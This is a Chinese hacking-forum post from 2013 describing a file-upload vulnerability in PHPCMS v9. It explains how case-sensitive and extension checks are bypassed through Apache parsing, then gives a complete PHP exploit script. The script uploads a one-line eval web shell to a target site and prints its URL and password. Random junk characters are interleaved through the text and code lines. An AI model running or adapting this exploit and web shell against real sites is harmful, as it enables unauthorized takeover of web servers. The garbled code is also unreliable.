找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2315|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
) n! o( v% ~; U3 h' F) X* E7 b6 s. O% P3 ^3 D! h8 }
简要描述:
2 W! n) x1 U5 s2 b& n. s+ M- |0 s8 g! W' G5 j6 J
phpcms v9 getshell (apache)
! h( h$ V0 l( `8 {, R; U详细说明:
' X1 A# Z3 r9 F2 _$ w. K( h5 e8 A/ C6 K7 Q8 T
漏洞文件:phpcms\modules\attachment\attachments.php3 C  |" y3 A* Y3 V7 o1 P

, U7 ~5 s& ]7 j/ n$ q5 ppublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } : l. ?- Y; u, L" Q# i# V
后缀检测:phpcms\modules\attachment\functions\global.func.php
/ D: S. f/ m) N3 ~; M7 `! _9 B% n" a$ k; l

7 T$ ?3 B% x3 Q5 Q5 D0 A3 W/ Z- I& S: R6 c6 @
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  8 l1 r, R, y  l# F
1 O" G* D  p+ E5 M# l. s( a0 h
关键函数:
( u" ?$ F: Z- p$ ~" \' r+ _% o% E1 g/ v3 ]* ^" b; i
! H' D/ B( p1 L- t$ l7 e
0 Y# L* g& {+ A; a+ F1 l& i3 R
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  3 V3 N0 O* A$ F

# k3 b9 K/ \1 ^' _, Y( c  Fileext函数是对文件后缀名的提取。' T' O# q3 w; [9 P- T
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php# A. |) S- Q) I) a
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
) @) j  f+ n) A" V* K) ~* I  e我们回到public function crop_upload() 函数中! |' y& Z6 c& @% C% X  `8 w( X
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();% d3 W# G4 q: `) q; ^! g8 X3 }
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
9 f- }0 \3 ~8 p! B3 T这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
1 m% y4 r- ?7 `3 c经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
; \( u  w" H5 z7 h, `# A+ f最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。$ C. V, `+ E9 ?' u  P
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。; H2 J7 H9 W# c+ Y: d
漏洞证明:4 K7 S- x( F0 a' l- o

- ^5 q# ~; H* C& f7 jexp:
; {2 b+ u: A% u. Z: g# N+ O2 F/ _$ y; \7 I* w
<?php' g1 }! l% r( d0 K5 }
error_reporting(E_ERROR);/ F1 D$ D7 |: P/ v6 w$ V
set_time_limit(0);1 p1 e7 v, M) `( ~7 ~
$pass="ln";1 [5 c5 h$ [  y% ~. m$ R. h% r
print_r('
# T: h( [" R) J3 ?- K$ J9 n9 Z+---------------------------------------------------------------------------+
& k# E9 q) L$ LPHPCms V9 GETSHELL 0DAY ! A6 l2 I+ g$ U. Z" o" U; |1 p
code by L.N.
( l/ v" E( z4 \) R2 r# k9 B1 ~0 ]
  G8 [% T5 d+ Q" I  B; D1 }apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net7 `$ O- [$ f7 B
+---------------------------------------------------------------------------+
0 t9 E1 m* p7 G1 z');
. D3 D. J6 N$ _if ($argc < 2) {
' ]9 [$ e, D0 {/ ~- E' wprint_r('
  k) s6 v9 K' N! ^3 t+---------------------------------------------------------------------------+2 ]3 |; [+ h4 e
Usage: php '.$argv[0].' url path
3 V+ Z" |) Q; j' _
+ S, d6 o" b1 J" ^Example:& f- u! r& i( p, H7 U9 M2 R  o1 }
1.php '.$argv[0].' lanu.sinaapp.com2 Y$ L6 k' r: b1 q, \
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
/ d, g6 M% ]1 L# i  {" m+---------------------------------------------------------------------------+
5 c# L! X% F: s5 I4 {  k: p* l& F');
, v* Q; n/ v# fexit;! U5 F% E3 V* c
}
: ?( _0 ~+ @, ]. E& f7 C
( }1 p) }1 t8 i# Z. N* n/ p$url = $argv[1];
$ Z9 A. T8 \. X( {2 D2 F2 N$path = $argv[2];% t/ d- N( D, R- G
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';' J7 }  i+ u/ c
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
) ]8 Z$ S) A8 y1 w; dif($ret=Create_dir($url,$path))# k3 f9 a1 w% l0 q
{# _' s/ H. c* m1 b0 x
//echo $ret;2 F) G% q' v$ r- U) {* a; h8 ^9 i
$pattern = "|Server:[^,]+?|U";8 b7 {! C+ P9 ~; o- e6 Z# b
preg_match_all($pattern, $ret, $matches);
, y9 D  @, D5 A5 C$ tif($matches[0][0])' X! O" w7 S8 `5 h
{
7 D" ?% p: @$ n9 J$ {  jif(strpos($matches[0][0],'Apache') == false)7 ^; i2 F( s9 Z2 P. |4 u# u( K
{+ w$ r  i+ S' }+ v1 Y
echo "\n亲!此网站不是apache的网站。\n";exit;: Z4 a; Y, K7 A9 ~2 H
}. O) k* q3 V4 }+ n+ S/ b5 v0 [
}
8 s1 ~3 B0 S5 S' ]! a! D! ~' h$ret = GetShell($url,$phpshell,$path,$file);
; A1 y. P% X2 c$pattern = "|http:\/\/[^,]+?\.,?|U";
% ^+ N2 T0 v6 v7 h. Y/ H5 ~preg_match_all($pattern, $ret, $matches);0 T* E& e4 r/ v
if($matches[0][0])5 K  O0 T, m0 L' o7 S
{
- L0 t' ^$ H7 Q# kecho "\n".'密码为: '.$pass."\n";
3 M/ ?+ J! ]) I; K0 W  h2 E! ~" kecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
' j5 V, x3 p6 u/ C! a% e3 o}
, L* u% l! a6 P& O( Relse" w/ K" h" l+ T8 O/ o0 h0 _' P
{
6 h# @' I+ {4 c6 @3 N7 K2 }9 w  }$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
% G6 K, C# @0 Q. n# K& c; |8 rpreg_match_all($pattern, $ret, $matches);8 a, a: Y  X3 o* E: m
if($matches[0][0])9 S. @$ j9 j7 [6 e% u0 b8 x
{9 Q% a3 {. d) J8 u- m
echo "\n".'密码为: '.$pass."\n";" U- a* U' T; A4 p6 c) e7 D  e& Y+ f0 n1 ]
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;8 M+ D0 F, ]5 ]" L6 D) K. ]! {
}
+ d: B7 m+ |+ h, a8 Q$ m% I" Melse
5 {0 J6 v- m8 J8 o5 G  F{+ t& z% b  H1 N9 B
echo "\r\n没得到!\n";exit;
' Z  G+ Q4 B7 Z# l; z# f" a}
- L1 ^, J1 j  Q' R, J9 u. e}$ @8 j9 l7 X; R3 e. G4 [
}  L2 J; T' n% z4 V! [

/ q6 m2 X) Q1 ~8 i7 h" Mfunction GetShell($url,$shell,$path,$js)6 Q& I! L' R; P" Y" `
{
8 r4 X* ?+ [% Q2 F$content =$shell;: g; w! b) [' i! K" E. p
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
4 Y' K( S' A7 A7 i! a$data .= "Host: ".$url."\r\n";  j) ]9 B# v1 r0 L
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
4 I& l- `5 N# N* ?+ X$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
( `# q" P: @! K  a. L! f9 o$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
  s, V' v) G$ O$ J' G' D$data .= "Connection: close\r\n";
# U% w; M' @& T) j+ ]$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
3 E* n# h" X# Z. e4 @" y" e& {$data .= $content."\r\n";9 i) G5 i/ b, H7 z
$ock=fsockopen($url,80);
+ H( m- ]) |! ?/ Tif (!$ock)
7 @: i8 ?4 O: N. b7 C- }8 S{
" C$ Z) W: [# xecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;8 l9 N  @/ j" A: q9 \1 R
}
9 }& d. k7 p; h& qelse
! X. R2 X% M7 R  [/ s) _( F{% V, L3 j' H5 M4 A; I
fwrite($ock,$data);* P7 f8 w" h% f
$resp = '';: @6 w. y, _# V! Y6 X9 A' K
while (!feof($ock))
" f! d; A7 T5 [7 `. s+ o{
  G. g" S5 n% D1 B* i$resp.=fread($ock, 1024);. e" M7 L) f( v
}' n, {) X" u5 D+ ^
return $resp;
# O4 K4 O  T. p$ a- m# Q}( p0 o' k! |1 T6 u; ]4 g1 W: }9 Y- R
}
& g6 ^& `5 }& M8 z( G3 K3 o- G3 ^# O7 o1 ~; o/ l1 [
function Create_dir($url,$path='')
. u4 {2 r5 L; _( v{
1 o0 {1 N- M7 H# w$content ='I love you';
4 F! E- E8 _, K$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
" m% G. w- \7 V$data .= "Host: ".$url."\r\n";
7 a6 e* V. P: u9 D0 \$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
/ C! I4 n3 R- j$ F" }# G$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";, Z9 e, F. s' N" h6 ]1 u9 ?
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";. ~3 P) o- N$ m; ~% }
$data .= "Connection: close\r\n";; U& C+ P0 h% d& B$ e
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";' o' f, P# b: k
$data .= $content."\r\n";
' \5 W% |/ Q: Z) I4 K+ H$ock=fsockopen($url,80);
! y% b$ j/ e# \; P+ g; `! `$ iif (!$ock)
) t( X( V# J, N- M{1 k2 x! Y6 l( S4 r: ]) G, @+ K& f. C
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
& j! n- t$ I6 |; o$ y. s}
' N2 l( ^7 c- a# }( m/ xfwrite($ock,$data);
+ J/ {% w: b2 ^$ _; T. Z/ \' s9 @$resp = '';
% ^2 R. n2 J! P) awhile (!feof($ock))
5 u# M, q8 D: v& H9 d8 r' L' l, I% ?{% M; [6 A  n. a7 y
$resp.=fread($ock, 1024);
# K8 N  O8 w' N}7 }9 K- X5 Z* E2 R3 y
return $resp;0 E1 J7 ?$ |: l% T$ T7 p% N! M
}$ u/ v) D3 m+ }+ L
?> ; t  x6 T! r  j# x" V

* T1 Z3 P. l" }6 D0 u% S5 K修复方案:
9 d+ }. w2 F+ O& Q! o( E7 ?; W
过滤过滤再过滤
, ], W/ M$ Y5 O/ W( r/ U$ V
, E) z3 T) S) Z5 |+ J3 l! y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表